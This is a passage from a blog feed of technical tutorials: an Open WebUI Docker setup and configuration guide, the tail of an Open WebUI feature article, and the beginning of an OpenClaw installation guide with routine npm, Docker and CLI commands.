'sentence-transformers/all-MiniLM-L6-v2'}&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;, 'created_by': 'b5b63a0d-ab5c-463e-ac3f-5ceacb6f3f94', 'source': 'claude01_introduction.md', 'start_index': 1753, 'name': 'claude01_introduction.md', 'file_id': 'db47a1a8-3f19-4a5c-afcd-1cdb056306c1', 'hash': '3e1955b782967e3d3ba5eed557e3c6a1de1b7c930b8267bd8ad76c122d5834c6'}, {'hash': '3e1955b782967e3d3ba5eed557e3c6a1de1b7c930b8267bd8ad76c122d5834c6', 'file_id': 'db47a1a8-3f19-4a5c-afcd-1cdb056306c1', 'embedding_config': &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;{'engine': '', 'model': 'sentence-transformers/all-MiniLM-L6-v2'}&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;, 'start_index': 721, 'created_by': 'b5b63a0d-ab5c-463e-ac3f-5ceacb6f3f94', 'source': 'claude01_introduction.md', 'name': 'claude01_introduction.md'}]]"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"caller"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"open_webui.retrieval.utils:query_doc:285"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Stored Documents and Knowledge Base
&lt;/h3&gt;

&lt;p&gt;When adding existing information, several types of documents can be used:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Attach Files: When a user uploads any file, it will be stored in a user specific file instance and therefore can be attached again in any following chat
&lt;a href="https://admantium.com/images/blog/llm38_reference_uploaded_files.png" rel="noopener noreferrer"&gt;&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Attach Notes: Choose from any created note that is added as message context&lt;/li&gt;
&lt;li&gt;Attach Knowledge: Attach the complete knowledge database from a workspace&lt;/li&gt;
&lt;li&gt;Reference Chats: Add a complete conversation as context It includes all user messages system messages and any other added context&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Open WebUI is one of the first tools that offered a chat interface to LLMs. This article explored its core features. You learned about, a) the start page, b) the main chat features for user and system messages, including editing, reading, regenerating and rating answers, c) how to create individual note files or d) complete document collections called knowledge bases, which can include different document types or web pages, and e) providing chat context with original documents and already uploaded document notes or knowledge bases.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>agents</category>
      <category>llm</category>
      <category>openwebui</category>
    </item>
    <item>
      <title>LLM Agent Tools: Setup &amp; Installation of OpenWeb UI</title>
      <dc:creator>Sebastian</dc:creator>
      <pubDate>Mon, 31 Aug 2026 04:26:22 +0000</pubDate>
      <link>https://dev.to/admantium/llm-agent-tools-setup-installation-of-openweb-ui-am2</link>
      <guid>https://dev.to/admantium/llm-agent-tools-setup-installation-of-openweb-ui-am2</guid>
      <description>&lt;p&gt;LLMs are a fascinating technology. Trained on a sufficient subset of the public internet and other curated sources, they are knowledge experts in many fields. Chat interfaces for LLMs have become a daily helper for many knowledge workers. Step by step, agent capabilities are driving the evolution of these interfaces.&lt;/p&gt;

&lt;p&gt;In an ongoing series about agentic tools, capabilities, and technical components, the next articles focus on Open WebUI. This article is concerned with the initial setup - you will learn how to install and run a Docker container, and see how to connect with an LLM provider to start chatting.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;The technical context of this article is &lt;code&gt;openwebui v0.9.6&lt;/code&gt;, published on 2026-06-01. The setup and configuration examples should also work with newer versions.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;While I am fascinated by the capabilities of artificial intelligence tools and applications, crafting blog articles remains my personal skill. Every character, number, and symbol in this article was typed manually, with the exception of verbose copies from log messages and screenshots.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;This article originally appeared at my blog &lt;a href="https://admantium.com/blog/llm37_open_webui_setup/" rel="noopener noreferrer"&gt;admantium.com&lt;/a&gt;&lt;/em&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Setup
&lt;/h2&gt;

&lt;p&gt;Any software needs the required libraries in specific versions. To avoid cluttering one’s own system, container-based software can be used instead. Each container provides a separate environment, and it exposes its services via defined ports. Docker is the primary tool for starting containers, and it is the tool of choice for setting up agentic tools in the context of this article.&lt;/p&gt;

&lt;p&gt;For Open WebUI, complete Docker containers for all releases are published automatically. Check the available tags, then download the required container. For &lt;code&gt;v0.9.6&lt;/code&gt;, execute the following command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker pull ghcr.io/open-webui/open-webui:v0.9.6
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Once the image is downloaded, it can be started with a simple follow-up command. If you want to try Open WebUI with the default config, simply run the following:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker run &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 3000:8080 &lt;span class="nt"&gt;-v&lt;/span&gt; open-webui:/app/backend/data &lt;span class="nt"&gt;--name&lt;/span&gt; open-webui ghcr.io/open-webui/open-webui:v0.9.6
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then access the application at &lt;code&gt;http://localhost:3000&lt;/code&gt; and start configuring the admin account. While you can use the container as-is, its state will not be persisted. When the Docker daemon of your host system is restarted, all data in the container is lost. The recommended approach is to define a &lt;code&gt;docker-compose.yml&lt;/code&gt; file, which tracks the applied configuration options and also persists the created data as a volume.&lt;/p&gt;

&lt;h2&gt;
  
  
  Docker Compose Configuration
&lt;/h2&gt;

&lt;p&gt;Open WebUI exposes several configuration options. To keep the state persistent, it should be started with a config file to define aspects like its users and LLM configuration. It should also have a volume in which all permanent data is stored so it survives container restarts.&lt;/p&gt;

&lt;p&gt;Create the following file structure:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;.&lt;/span&gt;
├── docker-compose.yml
└── .open-webui.env
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Use the following template for the &lt;code&gt;docker-compose.yml&lt;/code&gt; file as a kickstart.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;openwebui&lt;/span&gt;

&lt;span class="na"&gt;services&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;open-webui&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;image&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;ghcr.io/open-webui/open-webui:v0.9.6&lt;/span&gt;
    &lt;span class="na"&gt;container_name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;open-webui&lt;/span&gt;
    &lt;span class="na"&gt;env_file&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;./open-webui.env&lt;/span&gt;
    &lt;span class="na"&gt;ports&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;3000:8080"&lt;/span&gt;
    &lt;span class="na"&gt;restart&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;unless-stopped&lt;/span&gt;
    &lt;span class="na"&gt;volumes&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;open-webui-data:/app/backend/data&lt;/span&gt;
    &lt;span class="na"&gt;networks&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;openwebui&lt;/span&gt;

&lt;span class="na"&gt;networks&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;openwebui&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;openwebui&lt;/span&gt;
    &lt;span class="na"&gt;external&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;

&lt;span class="na"&gt;volumes&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;open-webui-data&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;open-webui-data&lt;/span&gt;
    &lt;span class="na"&gt;driver&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;local&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Next, add the following &lt;code&gt;.open-webui.env&lt;/code&gt; file with a minimal configuration:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ini"&gt;&lt;code&gt;&lt;span class="py"&gt;OPENWEBUI_PORT&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;3000&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Only once, you need to run the following command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker network create openwebui
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then start the container with the following command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker compose up open-webui
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It should print these log messages, indicating a successful initial setup.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker compose up open-webui

open-webui-manual  | No WEBUI_SECRET_KEY environment variable &lt;span class="nb"&gt;set&lt;/span&gt;, loading from file.
open-webui-manual  | Generating new WEBUI_SECRET_KEY...
open-webui-manual  | Loading WEBUI_SECRET_KEY from .webui_secret_key
...
open-webui-manual  | INFO  &lt;span class="o"&gt;[&lt;/span&gt;alembic.runtime.migration] Context impl SQLiteImpl.
open-webui-manual  | INFO  &lt;span class="o"&gt;[&lt;/span&gt;alembic.runtime.migration] Will assume non-transactional DDL.
open-webui-manual  | INFO  &lt;span class="o"&gt;[&lt;/span&gt;alembic.runtime.migration] Running upgrade  -&amp;gt; 7e5b5dc7342b
...
open-webui-manual  |
open-webui-manual  |  ██████╗ ██████╗ ███████╗███╗   ██╗    ██╗    ██╗███████╗██████╗ ██╗   ██╗██╗
open-webui-manual  | ██╔═══██╗██╔══██╗██╔════╝████╗  ██║    ██║    ██║██╔════╝██╔══██╗██║   ██║██║
open-webui-manual  | ██║   ██║██████╔╝█████╗  ██╔██╗ ██║    ██║ █╗ ██║█████╗  ██████╔╝██║   ██║██║
open-webui-manual  | ██║   ██║██╔═══╝ ██╔══╝  ██║╚██╗██║    ██║███╗██║██╔══╝  ██╔══██╗██║   ██║██║
open-webui-manual  | ╚██████╔╝██║     ███████╗██║ ╚████║    ╚███╔███╔╝███████╗██████╔╝╚██████╔╝██║
open-webui-manual  |  ╚═════╝ ╚═╝     ╚══════╝╚═╝  ╚═══╝     ╚══╝╚══╝ ╚══════╝╚═════╝  ╚═════╝ ╚═╝
open-webui-manual  |
open-webui-manual  |
open-webui-manual  | v0.9.6 - building the best AI user interface.
open-webui-manual  |
open-webui-manual  | https://github.com/open-webui/open-webui
open-webui-manual  |
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two options exist for the initial onboarding; see the next two paragraphs.&lt;/p&gt;

&lt;h2&gt;
  
  
  Manual Onboarding
&lt;/h2&gt;

&lt;p&gt;The first step is to create an admin account. Access the application at &lt;code&gt;http://localhost:3000&lt;/code&gt; and fill out the shown fields.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F670q5dymoqrac0i4f8mm.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F670q5dymoqrac0i4f8mm.png" width="759" height="447"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Once completed, you will see the initial welcome message and a popup showing current version information. While manual onboarding is an option, the better approach is to extend the &lt;code&gt;.open-webui.env&lt;/code&gt; file so that the admin account and other settings are controlled and persisted between container restarts. This is explained in the next section.&lt;/p&gt;

&lt;h2&gt;
  
  
  Onboarding with Config File
&lt;/h2&gt;

&lt;p&gt;Alternatively to the dialog-based setup, settings about the admin user and additional variables to influence privacy and telemetry can be configured. The list of supported variables is extensive; see the &lt;a href="https://docs.openwebui.com/reference/env-configuration#general" rel="noopener noreferrer"&gt;official documentation&lt;/a&gt; for all options.&lt;/p&gt;

&lt;p&gt;What you should also persist is the &lt;code&gt;WEBUI_SECRET_KEY&lt;/code&gt;. Its value is used to encrypt JWT access tokens and stored secrets. As shown in the container start logs, its value is dynamically created. Therefore, restarting the container invalidates current sessions and also makes encrypted data obsolete. Check the file content of &lt;code&gt;/app/backend/.webui_secret_key&lt;/code&gt;, and add it too.&lt;/p&gt;

&lt;p&gt;Here is the extended &lt;code&gt;.open-webui.env&lt;/code&gt; with all options.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Port, persistence, logging&lt;/span&gt;
&lt;span class="nv"&gt;WEBUI_URL&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;http://localhost:8080
&lt;span class="nv"&gt;ENABLE_PERSISTENT_CONFIG&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;True
&lt;span class="nv"&gt;GLOBAL_LOG_LEVEL&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;INFO
&lt;span class="nv"&gt;LOG_FORMAT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;json
&lt;span class="nv"&gt;WEBUI_SECRET_KEY&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;REDACTED

&lt;span class="c"&gt;# Only allow one pre-configured admin user&lt;/span&gt;
&lt;span class="nv"&gt;WEBUI_ADMIN_NAME&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;Admin
&lt;span class="nv"&gt;WEBUI_ADMIN_EMAIL&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;REDACTED
&lt;span class="nv"&gt;WEBUI_ADMIN_PASSWORD&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;REDACTED
&lt;span class="nv"&gt;ENABLE_SIGNUP&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;False
&lt;span class="nv"&gt;ENABLE_LOGIN_FORM&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;True
&lt;span class="nv"&gt;ENABLE_PASSWORD_AUTH&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;True
&lt;span class="nv"&gt;ENABLE_PASSWORD_CHANGE_FORM&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;True

&lt;span class="c"&gt;# Better privacy&lt;/span&gt;
&lt;span class="nv"&gt;ENABLE_ADMIN_ANALYTICS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;False
&lt;span class="nv"&gt;ENABLE_PUBLIC_ACTIVE_USERS_COUNT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;False
&lt;span class="nv"&gt;ENABLE_USER_STATUS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;False
&lt;span class="nv"&gt;ENABLE_EASTER_EGGS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;False
&lt;span class="nv"&gt;ENABLE_OTEL_LOGS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;False
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now restart the container once, and from then on all settings persist.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker compose restart open-webui
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A warning: all of these variables, and additional changes in the GUI, are persisted. To reset, for example, the login values, stop the container, set &lt;code&gt;ENABLE_PERSISTENT_CONFIG=True&lt;/code&gt;, then restart it. If there is a further problem, you can also set &lt;code&gt;RESET_CONFIG_ON_START=true&lt;/code&gt; to delete the database, or take the final option to completely delete the Docker container and the volume.&lt;/p&gt;

&lt;h2&gt;
  
  
  Model Configuration
&lt;/h2&gt;

&lt;p&gt;To use Open WebUI for its intended purpose, you need to add an LLM provider endpoint. Essentially, any endpoint that supports the OpenAI API format can be used. Besides OpenAI itself, you can choose from any direct provider, OpenRouter, or even GitHub Copilot with an additional proxy server.&lt;/p&gt;

&lt;p&gt;For brevity, let's invoke the ChatGPT API directly.&lt;/p&gt;

&lt;p&gt;First, create an OpenAI API key as follows:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Log in to the OpenAI service&lt;/li&gt;
&lt;li&gt;Go to the &lt;a href="https://platform.openai.com/api-keys" rel="noopener noreferrer"&gt;API key page&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Click the “+ Create New Secret Key” button, provide a name, and copy the key from the popup&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Second, configure the endpoint in Open WebUI:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Access the Open WebUI dashboard&lt;/li&gt;
&lt;li&gt;Click on the admin user icon in the bottom-left corner, and then click “Admin Panel”&lt;/li&gt;
&lt;li&gt;In the horizontal tab bar, click “Settings,” then “Connections”&lt;/li&gt;
&lt;li&gt;Disable all toggles from the bottom up&lt;/li&gt;
&lt;li&gt;Enable the “OpenAI API” toggle&lt;/li&gt;
&lt;li&gt;Click the “+” symbol next to “Manage OpenAI API Connections”&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Now, the following dialogue should appear.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fx092em570zrhgqb2i31m.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fx092em570zrhgqb2i31m.png" width="799" height="535"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;For the API endpoint URL, enter &lt;code&gt;https://api.openai.com/v1&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Enter your created API key&lt;/li&gt;
&lt;li&gt;Click on the double-arrow icon to validate the connection; a green popup appears to show success&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Finally, you can start a new chat from the dashboard.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Many tools exist for ongoing, contextual conversations with an LLM. Open WebUI is one of the earliest tools to support contextual conversations with LLMs. Since its inception in October 2023, many features were added. In this article, you learned how to set up and configure the tool as a Docker container with defined, persisted config. You saw the relevant &lt;code&gt;docker-compose.yml&lt;/code&gt; and &lt;code&gt;.env&lt;/code&gt; file, learned about the nuances of onboarding, the consequences of not persisting the central encryption key, and how to configure an LLM provider. The next article continues the feature exploration.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>agents</category>
      <category>llm</category>
      <category>openwebui</category>
    </item>
    <item>
      <title>Complete OpenClaw Installation Guide with Telegram Communication Channel</title>
      <dc:creator>Sebastian</dc:creator>
      <pubDate>Thu, 20 Aug 2026 05:12:57 +0000</pubDate>
      <link>https://dev.to/admantium/complete-openclaw-installation-guide-with-telegram-communication-channel-1nge</link>
      <guid>https://dev.to/admantium/complete-openclaw-installation-guide-with-telegram-communication-channel-1nge</guid>
      <description>&lt;p&gt;In 2026, agentic AI tools and frameworks generated much interest from technical and non-technical users alike. On the forefront of all of these tools is OpenClaw, the most popular open-source project that catapulted agents into mainstream usage.&lt;/p&gt;

&lt;p&gt;This article covers the complete installation steps and setup. You will learn how to install OpenClaw on your local computer, set up Telegram as the communication channel, and perform essential security hardening.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;The technical context of this article is &lt;code&gt;OpenClaw v2026.6.11&lt;/code&gt; released 2026-06-30. All provided information and command examples should be valid with newer versions too, barring an update of the CLI commands' syntax. However, configuration details differ between OpenClaw versions, and therefore, you should check the most recent documentation guidelines as well.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;While I'm fascinated by the capabilities of artificial intelligence tools and applications, crafting blog articles remains my personal skill. Every character, number, and symbol in this article was typed manually, with the exception of verbose copies from log messages and screenshots.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;This article originally appeared at my blog &lt;a href="https://admantium.com/blog/llm36_open_claw_installation/" rel="noopener noreferrer"&gt;admantium.com&lt;/a&gt;&lt;/em&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Prerequisites
&lt;/h2&gt;

&lt;p&gt;To install and run OpenClaw, you need a computer with either Linux or Windows, and the NodeJS library installed. This opens the option to use a spare laptop or computer, a dedicated VPS like several other installation guides explain, or even just a local Raspberry Pi. The only crucial requirements are available CPU and RAM: 2GB RAM and 2 CPUs are the minimal requirements, and 4GB RAM and 4 vCPUs are sufficient for an installation that produces a medium or high system load.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Platform&lt;/th&gt;
&lt;th&gt;Minimum&lt;/th&gt;
&lt;th&gt;Recommended&lt;/th&gt;
&lt;th&gt;Notes&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Raspberry Pi&lt;/td&gt;
&lt;td&gt;Raspberry Pi 3+&lt;/td&gt;
&lt;td&gt;Raspberry Pi 4+&lt;/td&gt;
&lt;td&gt;32-bit OS supported&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Linux x64&lt;/td&gt;
&lt;td&gt;Ubuntu 20.04+&lt;/td&gt;
&lt;td&gt;Ubuntu 22.04+&lt;/td&gt;
&lt;td&gt;Debian/Ubuntu derivatives&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Cloud VPS&lt;/td&gt;
&lt;td&gt;2GB RAM, 2 vCPU&lt;/td&gt;
&lt;td&gt;4GB RAM, 4 vCPU&lt;/td&gt;
&lt;td&gt;AWS EC2, DigitalOcean, etc.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;As for the software, only NodeJS is strictly required. If you want to use Docker for the hosting environment, you need to ensure that a proper version is installed as well.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Libraries&lt;/th&gt;
&lt;th&gt;Minimum&lt;/th&gt;
&lt;th&gt;Recommended&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;NodeJS&lt;/td&gt;
&lt;td&gt;v22.19&lt;/td&gt;
&lt;td&gt;v24&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Docker&lt;/td&gt;
&lt;td&gt;v20.10+&lt;/td&gt;
&lt;td&gt;v24.0+&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Installation
&lt;/h2&gt;

&lt;p&gt;OpenClaw can be installed in three ways: As a Docker container that includes all dependencies, as a bash script that checks and installs missing dependencies, or just by adding the NPM packages.&lt;/p&gt;

&lt;p&gt;In a freshly installed, current Linux distribution, adding the NPM package is sufficient. Simply run the following command.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npm i &lt;span class="nt"&gt;-g&lt;/span&gt; openclaw@2026.6.11
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Installation can take up to several minutes. Once completed, a unified OpenClaw process starts which creates both a gateway process and the dashboard.&lt;/p&gt;

&lt;p&gt;An essential command with which to verify the installation, and to identify any issues, is &lt;code&gt;openclaw doctor&lt;/code&gt;. Run it once to ensure the installation succeeded, but stop before making any configuration.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;openclaw doctor


🦞 OpenClaw 2026.6.11 &lt;span class="o"&gt;(&lt;/span&gt;4dcc39c&lt;span class="o"&gt;)&lt;/span&gt; — Making &lt;span class="s1"&gt;'I'&lt;/span&gt;ll automate that later&lt;span class="s1"&gt;' happen now.


▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
██░▄▄▄░██░▄▄░██░▄▄▄██░▀██░██░▄▄▀██░████░▄▄▀██░███░██
██░███░██░▀▀░██░▄▄▄██░█░█░██░█████░████░▀▀░██░█░█░██
██░▀▀▀░██░█████░▀▀▀██░██▄░██░▀▀▄██░▀▀░█░██░██▄▀▄▀▄██
▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
                  🦞 OPENCLAW 🦞


┌  OpenClaw doctor
│
◇  Startup optimization ─────────────────────────────────────────────────────────────────────╮
│                                                                                            │
│  - NODE_COMPILE_CACHE is not set; repeated CLI runs can be slower on small hosts (Pi/VM).  │
│  - OPENCLAW_NO_RESPAWN is not set to 1; set it to avoid extra startup overhead from        │
│    self-respawn.                                                                           │
│  - Suggested env for low-power hosts:                                                      │
│    export NODE_COMPILE_CACHE=/var/tmp/openclaw-compile-cache                               │
│    mkdir -p /var/tmp/openclaw-compile-cache                                                │
│    export OPENCLAW_NO_RESPAWN=1                                                            │
│                                                                                            │
├────────────────────────────────────────────────────────────────────────────────────────────╯
│
◇  Gateway ──────────────────────────────────────────────────────────╮
│                                                                    │
│  gateway.mode is unset; gateway start will be blocked.             │
│  Fix: run openclaw configure and set Gateway mode (local/remote).  │
│  Or set directly: openclaw config set gateway.mode local           │
│  Missing config: run openclaw setup first.                         │
│                                                                    │
├────────────────────────────────────────────────────────────────────╯
│
◇  Gateway auth ──────────────────────────────────────────────────────────────────────╮
│                                                                                     │
│  Gateway auth is off or missing a token. Token auth is now the recommended default  │
│  (including loopback).                                                              │
│                                                                                     │
├─────────────────────────────────────────────────────────────────────────────────────╯
│
■  Generate and configure a gateway token now?
...
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Setup
&lt;/h2&gt;

&lt;p&gt;The configuration complexity of OpenClaw seems daunting, but all available options are streamlined during the initial onboarding process. I recommend starting the installation with the interactive onboarding wizard, and tweaking individual settings after this initial setup.&lt;/p&gt;

&lt;p&gt;Start the process with the following command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;openclaw onboard &lt;span class="nt"&gt;--install-daemon&lt;/span&gt;


🦞 OpenClaw 2026.6.11 &lt;span class="o"&gt;(&lt;/span&gt;4dcc39c&lt;span class="o"&gt;)&lt;/span&gt; — I&lt;span class="s1"&gt;'ve read more man pages than any human should—so you don'&lt;/span&gt;t have to.


